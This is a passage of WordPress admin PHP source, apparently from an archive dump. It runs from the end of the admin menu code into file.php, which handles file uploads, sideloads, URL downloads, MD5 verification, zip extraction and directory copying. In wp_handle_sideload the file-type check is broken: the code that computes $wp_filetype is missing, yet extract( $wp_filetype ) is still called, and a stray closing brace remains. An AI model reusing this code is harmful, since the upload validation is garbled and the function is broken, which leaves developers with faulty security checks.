			$menu[$lastorder][4] = add_cssclass('menu-top-last', $c);
			continue;
		}

if ( $first ) {
			$c = $menu[$order][4];
			$menu[$order][4] = add_cssclass('menu-top-first', $c);
			$first = false;
		}

if ( $mc == $i ) { // last item
			$c = $menu[$order][4];
			$menu[$order][4] = add_cssclass('menu-top-last', $c);
		}

$lastorder = $order;
	}

/**
	 * Filter administration menus array with classes added for top-level items.
	 *
	 * @since 2.7.0
	 *
	 * @param array $menu Associative array of administration menu items.
	 */
	return apply_filters( 'add_menu_classes', $menu );
}

uksort($menu, "strnatcasecmp"); // make it all pretty

/**
 * Filter whether to enable custom ordering of the administration menu.
 *
 * See the 'menu_order' filter for reordering menu items.
 *
 * @since 2.8.0
 *
 * @param bool $custom Whether custom ordering is enabled. Default false.
 */
if ( apply_filters( 'custom_menu_order', false ) ) {
	$menu_order = array();
	foreach ( $menu as $menu_item ) {
		$menu_order[] = $menu_item[2];
	}
	unset($menu_item);
	$default_menu_order = $menu_order;

/**
	 * Filter the order of administration menu items.
	 *
	 * A truthy value must first be passed to the 'custom_menu_order' filter
	 * for this filter to work. Use the following to enable custom menu ordering:
	 *
	 *     add_filter( 'custom_menu_order', '__return_true' );
	 *
	 * @since 2.8.0
	 *
	 * @param array $menu_order An ordered array of menu items.
	 */
	$menu_order = apply_filters( 'menu_order', $menu_order );
	$menu_order = array_flip($menu_order);
	$default_menu_order = array_flip($default_menu_order);

usort($menu, 'sort_menu');
	unset($menu_order, $default_menu_order);
}

// Remove the last menu item if it is a separator.
$last_menu_key = array_keys( $menu );
$last_menu_key = array_pop( $last_menu_key );
if ( !empty( $menu ) && 'wp-menu-separator' == $menu[ $last_menu_key ][ 4 ] )
	unset( $menu[ $last_menu_key ] );
unset( $last_menu_key );

if ( !user_can_access_admin_page() ) {

/**
	 * Fires when access to an admin page is denied.
	 *
	 * @since 2.5.0
	 */
	do_action( 'admin_page_access_denied' );

wp_die( __('You do not have sufficient permissions to access this page.') );
}

$menu = add_menu_classes($menu);
file.php000077700000135372151514577750006237 0ustar00<?php
/**
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** The descriptions for theme files. */
$wp_file_descriptions = array(
	'index.php' => __( 'Main Index Template' ),
	'style.css' => __( 'Stylesheet' ),
	'editor-style.css' => __( 'Visual Editor Stylesheet' ),
	'editor-style-rtl.css' => __( 'Visual Editor RTL Stylesheet' ),
	'rtl.css' => __( 'RTL Stylesheet' ),
	'comments.php' => __( 'Comments' ),
	'comments-popup.php' => __( 'Popup Comments' ),
	'footer.php' => __( 'Footer' ),
	'header.php' => __( 'Header' ),
	'sidebar.php' => __( 'Sidebar' ),
	'archive.php' => __( 'Archives' ),
	'author.php' => __( 'Author Template' ),
	'tag.php' => __( 'Tag Template' ),
	'category.php' => __( 'Category Template' ),
	'page.php' => __( 'Page Template' ),
	'search.php' => __( 'Search Results' ),
	'searchform.php' => __( 'Search Form' ),
	'single.php' => __( 'Single Post' ),
	'404.php' => __( '404 Template' ),
	'link.php' => __( 'Links Template' ),
	'functions.php' => __( 'Theme Functions' ),
	'attachment.php' => __( 'Attachment Template' ),
	'image.php' => __('Image Attachment Template'),
	'video.php' => __('Video Attachment Template'),
	'audio.php' => __('Audio Attachment Template'),
	'application.php' => __('Application Attachment Template'),
	'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ),
	'.htaccess' => __( '.htaccess (for rewrite rules )' ),
	// Deprecated files
	'wp-layout.css' => __( 'Stylesheet' ),
	'wp-comments.php' => __( 'Comments Template' ),
	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
);

/**
 * Get the description for standard WordPress theme files and other various standard
 * WordPress files
 *
 * @since 1.5.0
 *
 * @uses _cleanup_header_comment
 * @uses $wp_file_descriptions
 * @param string $file Filesystem path or filename
 * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist
 */
function get_file_description( $file ) {
	global $wp_file_descriptions;

if ( isset( $wp_file_descriptions[basename( $file )] ) ) {
		return $wp_file_descriptions[basename( $file )];
	}
	elseif ( file_exists( $file ) && is_file( $file ) ) {
		$template_data = implode( '', file( $file ) );
		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ))
			return sprintf( __( '%s Page Template' ), _cleanup_header_comment($name[1]) );
	}

return trim( basename( $file ) );
}

/**
 * Get the absolute filesystem path to the root of the WordPress installation
 *
 * @since 1.5.0
 *
 * @uses get_option
 * @return string Full filesystem path to the root of the WordPress installation
 */
function get_home_path() {
	$home = get_option( 'home' );
	$siteurl = get_option( 'siteurl' );
	if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
		$pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
		$home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
		$home_path = trailingslashit( $home_path );
	} else {
		$home_path = ABSPATH;
	}

return str_replace( '\\', '/', $home_path );
}

/**
 * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
 * The depth of the recursiveness can be controlled by the $levels param.
 *
 * @since 2.6.0
 *
 * @param string $folder Full path to folder
 * @param int $levels (optional) Levels of folders to follow, Default: 100 (PHP Loop limit).
 * @return bool|array False on failure, Else array of files
 */
function list_files( $folder = '', $levels = 100 ) {
	if ( empty($folder) )
		return false;

if ( ! $levels )
		return false;

$files = array();
	if ( $dir = @opendir( $folder ) ) {
		while (($file = readdir( $dir ) ) !== false ) {
			if ( in_array($file, array('.', '..') ) )
				continue;
			if ( is_dir( $folder . '/' . $file ) ) {
				$files2 = list_files( $folder . '/' . $file, $levels - 1);
				if ( $files2 )
					$files = array_merge($files, $files2 );
				else
					$files[] = $folder . '/' . $file . '/';
			} else {
				$files[] = $folder . '/' . $file;
			}
		}
	}
	@closedir( $dir );
	return $files;
}

/**
 * Returns a filename of a Temporary unique file.
 * Please note that the calling function must unlink() this itself.
 *
 * The filename is based off the passed parameter or defaults to the current unix timestamp,
 * while the directory can either be passed as well, or by leaving it blank, default to a writable temporary directory.
 *
 * @since 2.6.0
 *
 * @param string $filename (optional) Filename to base the Unique file off
 * @param string $dir (optional) Directory to store the file in
 * @return string a writable filename
 */
function wp_tempnam($filename = '', $dir = '') {
	if ( empty($dir) )
		$dir = get_temp_dir();
	$filename = basename($filename);
	if ( empty($filename) )
		$filename = time();

$filename = preg_replace('|\..*$|', '.tmp', $filename);
	$filename = $dir . wp_unique_filename($dir, $filename);
	touch($filename);
	return $filename;
}

/**
 * Make sure that the file that was requested to edit, is allowed to be edited
 *
 * Function will die if if you are not allowed to edit the file
 *
 * @since 1.5.0
 *
 * @uses wp_die
 * @uses validate_file
 * @param string $file file the users is attempting to edit
 * @param array $allowed_files Array of allowed files to edit, $file must match an entry exactly
 * @return null
 */
function validate_file_to_edit( $file, $allowed_files = '' ) {
	$code = validate_file( $file, $allowed_files );

if (!$code )
		return $file;

switch ( $code ) {
		case 1 :
			wp_die( __( 'Sorry, that file cannot be edited.' ) );

//case 2 :
		//	wp_die( __('Sorry, can&#8217;t call files with their real path.' ));

case 3 :
			wp_die( __( 'Sorry, that file cannot be edited.' ) );
	}
}

/**
 * Handle PHP uploads in WordPress, sanitizing file names, checking extensions for mime type,
 * and moving the file to the appropriate directory within the uploads directory.
 *
 * @since 2.0.0
 *
 * @uses wp_handle_upload_error
 * @uses is_multisite
 * @uses wp_check_filetype_and_ext
 * @uses current_user_can
 * @uses wp_upload_dir
 * @uses wp_unique_filename
 * @uses delete_transient
 * @param array $file Reference to a single element of $_FILES. Call the function once for each uploaded file.
 * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ).
 * @param string $time Optional. Time formatted in 'yyyy/mm'.
 * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
 */
function wp_handle_upload( &$file, $overrides = false, $time = null ) {
	// The default error handler.
	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
		function wp_handle_upload_error( &$file, $message ) {
			return array( 'error'=>$message );
		}
	}

/**
	 * Filter data for the current file to upload.
	 *
	 * @since 2.9.0
	 *
	 * @param array $file An array of data for a single file.
	 */
	$file = apply_filters( 'wp_handle_upload_prefilter', $file );

// You may define your own function and pass the name in $overrides['upload_error_handler']
	$upload_error_handler = 'wp_handle_upload_error';

// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
	if ( isset( $file['error'] ) && !is_numeric( $file['error'] ) && $file['error'] )
		return $upload_error_handler( $file, $file['error'] );

// You may define your own function and pass the name in $overrides['unique_filename_callback']
	$unique_filename_callback = null;

// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
	$action = 'wp_handle_upload';

// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
	$upload_error_strings = array( false,
		__( "The uploaded file exceeds the upload_max_filesize directive in php.ini." ),
		__( "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form." ),
		__( "The uploaded file was only partially uploaded." ),
		__( "No file was uploaded." ),
		'',
		__( "Missing a temporary folder." ),
		__( "Failed to write file to disk." ),
		__( "File upload stopped by extension." ));

// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
	$test_form = true;
	$test_size = true;
	$test_upload = true;

// If you override this, you must provide $ext and $type!!!!
	$test_type = true;
	$mimes = false;

// Install user overrides. Did we mention that this voids your warranty?
	if ( is_array( $overrides ) )
		extract( $overrides, EXTR_OVERWRITE );

// A correct form post will pass this test.
	if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) )
		return call_user_func($upload_error_handler, $file, __( 'Invalid form submission.' ));

// A successful upload will pass this test. It makes no sense to override this one.
	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
		return call_user_func( $upload_error_handler, $file, $upload_error_strings[ $file['error'] ] );
	}

// A non-empty file will pass this test.
	if ( $test_size && !($file['size'] > 0 ) ) {
		if ( is_multisite() )
			$error_msg = __( 'File is empty. Please upload something more substantial.' );
		else
			$error_msg = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' );
		return call_user_func($upload_error_handler, $file, $error_msg);
	}

// A properly uploaded file will pass this test. There should be no reason to override this one.
	if ( $test_upload && ! @ is_uploaded_file( $file['tmp_name'] ) )
		return call_user_func($upload_error_handler, $file, __( 'Specified file failed upload test.' ));

// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
	if ( $test_type ) {
		$wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );

extract( $wp_filetype );

// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect
		if ( $proper_filename )
			$file['name'] = $proper_filename;

if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) )
			return call_user_func($upload_error_handler, $file, __( 'Sorry, this file type is not permitted for security reasons.' ));

if ( !$ext )
			$ext = ltrim(strrchr($file['name'], '.'), '.');

if ( !$type )
			$type = $file['type'];
	} else {
		$type = '';
	}

// A writable uploads dir will pass this test. Again, there's no point overriding this one.
	if ( ! ( ( $uploads = wp_upload_dir($time) ) && false === $uploads['error'] ) )
		return call_user_func($upload_error_handler, $file, $uploads['error'] );

$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

// Move the file to the uploads dir
	$new_file = $uploads['path'] . "/$filename";
	if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) {
		if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )
			$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
		else
			$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];

return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) );
	}

// Set correct file permissions
	$stat = stat( dirname( $new_file ));
	$perms = $stat['mode'] & 0000666;
	@ chmod( $new_file, $perms );

// Compute the URL
	$url = $uploads['url'] . "/$filename";

if ( is_multisite() )
		delete_transient( 'dirsize_cache' );

/**
	 * Filter the data array for the uploaded file.
	 *
	 * @since 2.1.0
	 *
	 * @param array  $upload {
	 *     Array of upload data.
	 *
	 *     @type string $file Filename of the newly-uploaded file.
	 *     @type string $url  URL of the uploaded file.
	 *     @type string $type File type.
	 * }
	 * @param string $context The type of upload action. Accepts 'upload' or 'sideload'.
	 */
	return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ), 'upload' );
}

/**
 * Handle sideloads, which is the process of retrieving a media item from another server instead of
 * a traditional media upload. This process involves sanitizing the filename, checking extensions
 * for mime type, and moving the file to the appropriate directory within the uploads directory.
 *
 * @since 2.6.0
 *
 * @uses wp_handle_upload_error
 * @uses wp_check_filetype_and_ext
 * @uses current_user_can
 * @uses wp_upload_dir
 * @uses wp_unique_filename
 * @param array $file an array similar to that of a PHP $_FILES POST array
 * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ).
 * @param string $time Optional. Time formatted in 'yyyy/mm'.
 * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
 */
function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
	// The default error handler.
	if (! function_exists( 'wp_handle_upload_error' ) ) {
		function wp_handle_upload_error( &$file, $message ) {
			return array( 'error'=>$message );
		}
	}

// You may define your own function and pass the name in $overrides['upload_error_handler']
	$upload_error_handler = 'wp_handle_upload_error';

// You may define your own function and pass the name in $overrides['unique_filename_callback']
	$unique_filename_callback = null;

// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
	$action = 'wp_handle_sideload';

// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
	$upload_error_strings = array( false,
		__( "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ),
		__( "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ),
		__( "The uploaded file was only partially uploaded." ),
		__( "No file was uploaded." ),
		'',
		__( "Missing a temporary folder." ),
		__( "Failed to write file to disk." ),
		__( "File upload stopped by extension." ));

// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
	$test_form = true;
	$test_size = true;

// If you override this, you must provide $ext and $type!!!!
	$test_type = true;
	$mimes = false;

// Install user overrides. Did we mention that this voids your warranty?
	if ( is_array( $overrides ) )
		extract( $overrides, EXTR_OVERWRITE );

// A correct form post will pass this test.
	if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) )
		return $upload_error_handler( $file, __( 'Invalid form submission.' ));

// A successful upload will pass this test. It makes no sense to override this one.
	if ( ! empty( $file['error'] ) )
		return $upload_error_handler( $file, $upload_error_strings[$file['error']] );

// A non-empty file will pass this test.
	if ( $test_size && !(filesize($file['tmp_name']) > 0 ) )
		return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' ));

// A properly uploaded file will pass this test. There should be no reason to override this one.
	if (! @ is_file( $file['tmp_name'] ) )
		return $upload_error_handler( $file, __( 'Specified file does not exist.' ));

extract( $wp_filetype );

// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect
		if ( $proper_filename )
			$file['name'] = $proper_filename;

if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) )
			return $upload_error_handler( $file, __( 'Sorry, this file type is not permitted for security reasons.' ));

if ( !$ext )
			$ext = ltrim(strrchr($file['name'], '.'), '.');

if ( !$type )
			$type = $file['type'];
	}

// A writable uploads dir will pass this test. Again, there's no point overriding this one.
	if ( ! ( ( $uploads = wp_upload_dir( $time ) ) && false === $uploads['error'] ) )
		return $upload_error_handler( $file, $uploads['error'] );

$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

// Strip the query strings.
	$filename = str_replace('?','-', $filename);
	$filename = str_replace('&','-', $filename);

// Move the file to the uploads dir
	$new_file = $uploads['path'] . "/$filename";
	if ( false === @ rename( $file['tmp_name'], $new_file ) ) {
		if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )
			$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
		else
			$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
		return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) );
	}

// Set correct file permissions
	$stat = stat( dirname( $new_file ));
	$perms = $stat['mode'] & 0000666;
	@ chmod( $new_file, $perms );

// Compute the URL
	$url = $uploads['url'] . "/$filename";

/** This filter is documented in wp-admin/includes/file.php */
	$return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ), 'sideload' );

return $return;
}

/**
 * Downloads a url to a local temporary file using the WordPress HTTP Class.
 * Please note, That the calling function must unlink() the file.
 *
 * @since 2.5.0
 *
 * @param string $url the URL of the file to download
 * @param int $timeout The timeout for the request to download the file default 300 seconds
 * @return mixed WP_Error on failure, string Filename on success.
 */
function download_url( $url, $timeout = 300 ) {
	//WARNING: The file is not automatically deleted, The script must unlink() the file.
	if ( ! $url )
		return new WP_Error('http_no_url', __('Invalid URL Provided.'));

$tmpfname = wp_tempnam($url);
	if ( ! $tmpfname )
		return new WP_Error('http_no_file', __('Could not create Temporary file.'));

$response = wp_safe_remote_get( $url, array( 'timeout' => $timeout, 'stream' => true, 'filename' => $tmpfname ) );

if ( is_wp_error( $response ) ) {
		unlink( $tmpfname );
		return $response;
	}

if ( 200 != wp_remote_retrieve_response_code( $response ) ){
		unlink( $tmpfname );
		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ) );
	}

$content_md5 = wp_remote_retrieve_header( $response, 'content-md5' );
	if ( $content_md5 ) {
		$md5_check = verify_file_md5( $tmpfname, $content_md5 );
		if ( is_wp_error( $md5_check ) ) {
			unlink( $tmpfname );
			return $md5_check;
		}
	}

return $tmpfname;
}

/**
 * Calculates and compares the MD5 of a file to its expected value.
 *
 * @since 3.7.0
 *
 * @param string $filename The filename to check the MD5 of.
 * @param string $expected_md5 The expected MD5 of the file, either a base64 encoded raw md5, or a hex-encoded md5
 * @return bool|object WP_Error on failure, true on success, false when the MD5 format is unknown/unexpected
 */
function verify_file_md5( $filename, $expected_md5 ) {
	if ( 32 == strlen( $expected_md5 ) )
		$expected_raw_md5 = pack( 'H*', $expected_md5 );
	elseif ( 24 == strlen( $expected_md5 ) )
		$expected_raw_md5 = base64_decode( $expected_md5 );
	else
		return false; // unknown format

$file_md5 = md5_file( $filename, true );

if ( $file_md5 === $expected_raw_md5 )
		return true;

return new WP_Error( 'md5_mismatch', sprintf( __( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ), bin2hex( $file_md5 ), bin2hex( $expected_raw_md5 ) ) );
}

/**
 * Unzips a specified ZIP file to a location on the Filesystem via the WordPress Filesystem Abstraction.
 * Assumes that WP_Filesystem() has already been called and set up. Does not extract a root-level __MACOSX directory, if present.
 *
 * Attempts to increase the PHP Memory limit to 256M before uncompressing,
 * However, The most memory required shouldn't be much larger than the Archive itself.
 *
 * @since 2.5.0
 *
 * @param string $file Full path and filename of zip archive
 * @param string $to Full path on the filesystem to extract archive to
 * @return mixed WP_Error on failure, True on success
 */
function unzip_file($file, $to) {
	global $wp_filesystem;

if ( ! $wp_filesystem || !is_object($wp_filesystem) )
		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));

// Unzip can use a lot of memory, but not this much hopefully
	/** This filter is documented in wp-admin/admin.php */
	@ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) );

$needed_dirs = array();
	$to = trailingslashit($to);

// Determine any parent dir's needed (of the upgrade directory)
	if ( ! $wp_filesystem->is_dir($to) ) { //Only do parents if no children exist
		$path = preg_split('![/\\\]!', untrailingslashit($to));
		for ( $i = count($path); $i >= 0; $i-- ) {
			if ( empty($path[$i]) )
				continue;

$dir = implode('/', array_slice($path, 0, $i+1) );
			if ( preg_match('!^[a-z]:$!i', $dir) ) // Skip it if it looks like a Windows Drive letter.
				continue;

if ( ! $wp_filesystem->is_dir($dir) )
				$needed_dirs[] = $dir;
			else
				break; // A folder exists, therefor, we dont need the check the levels below this
		}
	}

/**
	 * Filter whether to use ZipArchive to unzip archives.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
	 */
	if ( class_exists( 'ZipArchive' ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$result = _unzip_file_ziparchive($file, $to, $needed_dirs);
		if ( true === $result ) {
			return $result;
		} elseif ( is_wp_error($result) ) {
			if ( 'incompatible_archive' != $result->get_error_code() )
				return $result;
		}
	}
	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	return _unzip_file_pclzip($file, $to, $needed_dirs);
}

/**
 * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the ZipArchive class.
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @see unzip_file
 * @access private
 *
 * @param string $file Full path and filename of zip archive
 * @param string $to Full path on the filesystem to extract archive to
 * @param array $needed_dirs A partial list of required folders needed to be created.
 * @return mixed WP_Error on failure, True on success
 */
function _unzip_file_ziparchive($file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

$z = new ZipArchive();

$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );
	if ( true !== $zopen )
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );

$uncompressed_size = 0;

for ( $i = 0; $i < $z->numFiles; $i++ ) {
		if ( ! $info = $z->statIndex($i) )
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );

if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Skip the OS X-created __MACOSX directory
			continue;

if ( 0 !== validate_file( $info['name'] ) ) {
			return new WP_Error( 'invalid_file_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
		}

$uncompressed_size += $info['size'];

if ( '/' == substr($info['name'], -1) ) // directory
			$needed_dirs[] = $to . untrailingslashit($info['name']);
		else
			$needed_dirs[] = $to . untrailingslashit(dirname($info['name']));
	}

/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
		$available_space = @disk_free_space( WP_CONTENT_DIR );
		if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space )
			return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) );
	}

$needed_dirs = array_unique($needed_dirs);
	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist)
			continue;
		if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it
			continue;

$parent_folder = dirname($dir);
		while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname($parent_folder);
		}
	}
	asort($needed_dirs);

// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		if ( ! $wp_filesystem->mkdir($_dir, FS_CHMOD_DIR) && ! $wp_filesystem->is_dir($_dir) ) // Only check to see if the Dir exists upon creation failure. Less I/O this way.
			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
	}
	unset($needed_dirs);

for ( $i = 0; $i < $z->numFiles; $i++ ) {
		if ( ! $info = $z->statIndex($i) )
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );

if ( '/' == substr($info['name'], -1) ) // directory
			continue;

if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
			continue;

$contents = $z->getFromIndex($i);
		if ( false === $contents )
			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );

if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE) )
			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
	}

$z->close();

return true;
}

/**
 * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the PclZip library.
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @see unzip_file
 * @access private
 *
 * @param string $file Full path and filename of zip archive
 * @param string $to Full path on the filesystem to extract archive to
 * @param array $needed_dirs A partial list of required folders needed to be created.
 * @return mixed WP_Error on failure, True on success
 */
function _unzip_file_pclzip($file, $to, $needed_dirs = array()) {
	global $wp_filesystem;

mbstring_binary_safe_encoding();

require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');

$archive = new PclZip($file);

$archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING);

reset_mbstring_encoding();

// Is the archive valid?
	if ( !is_array($archive_files) )
		return new WP_Error('incompatible_archive', __('Incompatible Archive.'), $archive->errorInfo(true));

if ( 0 == count($archive_files) )
		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );

$uncompressed_size = 0;

// Determine any children directories needed (From within the archive)
	foreach ( $archive_files as $file ) {
		if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Skip the OS X-created __MACOSX directory
			continue;

$uncompressed_size += $file['size'];

$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname($file['filename']) );
	}

// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) )
			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) );
	}
	unset($needed_dirs);

// Extract the files from the zip
	foreach ( $archive_files as $file ) {
		if ( $file['folder'] )
			continue;

if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files
			continue;

if ( 0 !== validate_file( $file['filename'] ) ) {
			return new WP_Error( 'invalid_file_pclzip', __( 'Could not extract file from archive.' ), $file['filename'] );
		}

if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE) )
			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
	}
	return true;
}

/**
 * Copies a directory from one location to another via the WordPress Filesystem Abstraction.
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * @since 2.5.0
 *
 * @param string $from source directory
 * @param string $to destination directory
 * @param array $skip_list a list of files/folders to skip copying
 * @return mixed WP_Error on failure, True on success.
 */
function copy_dir($from, $to, $skip_list = array() ) {
	global $wp_filesystem;

$dirlist = $wp_filesystem->dirlist($from);

$from = trailingslashit($from);
	$to = trailingslashit($to);

foreach ( (array) $dirlist as $filename => $fileinfo ) {
		if ( in_array( $filename, $skip_list ) )
			continue;

if ( 'f' == $fileinfo['type'] ) {
			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) {
				// If copy failed, chmod file to 0644 and try again.
				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );
				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) )
					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
			}
		} elseif ( 'd' == $fileinfo['type'] ) {
			if ( !$wp_filesystem->is_dir($to . $filename) ) {
				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
			}

// generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list
			$sub_skip_list = array();
			foreach ( $skip_list as $skip_item ) {
				if ( 0 === strpos( $skip_item, $filename . '/' ) )
					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
			}

$result = copy_dir($from . $filename, $to . $filename, $sub_skip_list);
			if ( is_wp_error($result) )
				return $result;
		}
	}
	return true;
}

/**
 * Initialises and connects the WordPress Filesystem Abstraction classes.
 * This function will include the chosen transport and attempt connecting.
 *
 * Plugins may add extra transports, And force WordPress to use them by returning the filename via the 'filesystem_method_file' filter.
 *
 * @since 2.5.0
 *
 * @param array $args (optional) Connection args, These are passed directly to the WP_Filesystem_*() classes.
 * @param string $context (optional) Context for get_filesystem_method(), See function declaration for more information.
 * @return boolean false on failure, true on success
 */
function WP_Filesystem( $args = false, $context = false ) {
	global $wp_filesystem;

require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');

$method = get_filesystem_method($args, $context);

if ( ! $method )
		return false;

if ( ! class_exists("WP_Filesystem_$method") ) {

/**
		 * Filter the path for a specific filesystem method class file.
		 *
		 * @since 2.6.0
		 *
		 * @see get_filesystem_method()
		 *
		 * @param string $path   Path to the specific filesystem method class file.
		 * @param string $method The filesystem method to use.
		 */
		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );

if ( ! file_exists($abstraction_file) )
			return;

require_once($abstraction_file);
	}
